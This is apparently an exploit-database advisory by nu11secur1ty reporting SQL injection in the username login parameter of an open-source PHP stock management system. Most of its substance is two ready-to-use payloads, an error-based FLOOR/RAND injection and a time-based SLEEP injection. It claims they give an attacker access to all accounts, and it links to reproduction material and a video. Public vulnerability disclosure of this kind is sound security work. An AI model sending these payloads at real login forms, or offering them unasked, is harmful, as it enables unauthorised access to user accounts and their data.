Stock Management System 2020 SQL Injection

2022.07.04
Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

## Title: Stock-Management-System-2020 SQLi ## Author: nu11secur1ty ## Date: 07.02.2022 ## Vendor: https://github.com/Dav-ee ## Software: https://github.com/Dav-ee/Stock-Management-System ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020 ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The attacker kan take an access to all acounts on this system. Status: CRITICAL [+] Payloads: ```mysql --- Parameter: username (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=RCIdtbFU''' AND (SELECT 9919 FROM(SELECT COUNT(*),CONCAT(0x71787a6271,(SELECT (ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LcYi'='LcYi&password=g5X!p2l!Q6 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=RCIdtbFU''' AND (SELECT 6942 FROM (SELECT(SLEEP(5)))NOpI) AND 'uUsT'='uUsT&password=g5X!p2l!Q6 --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020) ## Proof and Exploit: [href](https://streamable.com/urkvz7)


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